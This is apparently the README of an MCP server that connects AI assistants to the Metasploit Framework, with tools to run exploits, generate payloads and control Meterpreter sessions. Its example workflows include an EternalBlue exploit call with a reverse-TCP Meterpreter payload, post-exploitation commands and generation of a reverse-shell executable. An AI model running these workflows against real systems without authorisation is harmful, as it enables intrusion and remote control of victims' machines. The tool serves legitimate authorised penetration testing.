# Metasploit MCP Server
A Model Context Protocol (MCP) server for Metasploit Framework integration.
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
## Description
This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows.
## Features
### Module Information
- **list_exploits**: Search and list available Metasploit exploit modules
- **list_payloads**: Search and list available Metasploit payload modules with optional platform and architecture filtering
### Exploitation Workflow
- **run_exploit**: Configure and execute an exploit against a target with options to run checks first
- **run_auxiliary_module**: Run any Metasploit auxiliary module with custom options
- **run_post_module**: Execute post-exploitation modules against existing sessions
### Payload Generation
- **generate_payload**: Generate payload files using Metasploit RPC (saves files locally)
### Session Management
- **list_active_sessions**: Show current Metasploit sessions with detailed information
- **send_session_command**: Run a command in an active shell or Meterpreter session
- **terminate_session**: Forcefully end an active session
### Handler Management
- **list_listeners**: Show all active handlers and background jobs
- **start_listener**: Create a new multi/handler to receive connections
- **stop_job**: Terminate any running job or handler
## Prerequisites
- Metasploit Framework installed and msfrpcd running
- Python 3.10 or higher
- Required Python packages (see requirements.txt)
## Installation
1. Clone this repository
2. Install dependencies:
```
pip install -r requirements.txt
```
3. Configure environment variables (optional):
```
MSF_PASSWORD=yourpassword
MSF_SERVER=127.0.0.1
MSF_PORT=55553
MSF_SSL=false
PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads
```
## Usage
Start the Metasploit RPC service:
```bash
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553
```
### Transport Options
The server supports two transport methods:
- **HTTP/SSE (Server-Sent Events)**: Default mode for interoperability with most MCP clients
- **STDIO (Standard Input/Output)**: Used with Claude Desktop and similar direct pipe connections
You can explicitly select the transport mode using the `--transport` flag:
```bash
# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http
# Run with STDIO transport
python MetasploitMCP.py --transport stdio
```
Additional options for HTTP mode:
```bash
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
```
### Claude Desktop Integration
For Claude Desktop integration, configure `claude_desktop_config.json`:
```json
{
"mcpServers": {
"metasploit": {
"command": "uv",
"args": [
"--directory",
"C:\\path\\to\\MetasploitMCP",
"run",
"MetasploitMCP.py",
"--transport",
"stdio"
],
"env": {
"MSF_PASSWORD": "yourpassword"
}
}
}
}
```
### Other MCP Clients
For other MCP clients that use HTTP/SSE:
1. Start the server in HTTP mode:
```bash
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
```
2. Configure your MCP client to connect to:
- SSE endpoint: `http://your-server-ip:8085/sse`
## Security Considerations
⚠️ **IMPORTANT SECURITY WARNING**:
This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.
- Always validate and review all commands before execution
- Only run in segregated test environments or with proper authorization
- Be aware that post-exploitation commands can result in significant system modifications
## Example Workflows
### Basic Exploitation
1. List available exploits: `list_exploits("ms17_010")`
2. Select and run an exploit: `run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})`
3. List sessions: `list_active_sessions()`
4. Run commands: `send_session_command(1, "whoami")`
### Post-Exploitation
1. Run a post module: `run_post_module("windows/gather/enum_logged_on_users", 1)`
2. Send custom commands: `send_session_command(1, "sysinfo")`
3. Terminate when done: `terminate_session(1)`
### Handler Management
1. Start a listener: `start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)`
2. List active handlers: `list_listeners()`
3. Generate a payload: `generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})`
4. Stop a handler: `stop_job(1)`
## Configuration Options
### Payload Save Directory
By default, payloads generated with `generate_payload` are saved to a `payloads` directory in your home folder (`~/payloads` or `C:\Users\YourUsername\payloads`). You can customize this location by setting the `PAYLOAD_SAVE_DIR` environment variable.
**Setting the environment variable:**
- **Windows (PowerShell)**:
```powershell
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
```
- **Windows (Command Prompt)**:
```cmd
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
```
- **Linux/macOS**:
```bash
export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
```
- **In Claude Desktop config**:
```json
"env": {
"MSF_PASSWORD": "yourpassword",
"PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default
}
```
**Note:** If you specify a custom path, make sure it exists or the application has permission to create it. If the path is invalid, payload generation might fail.
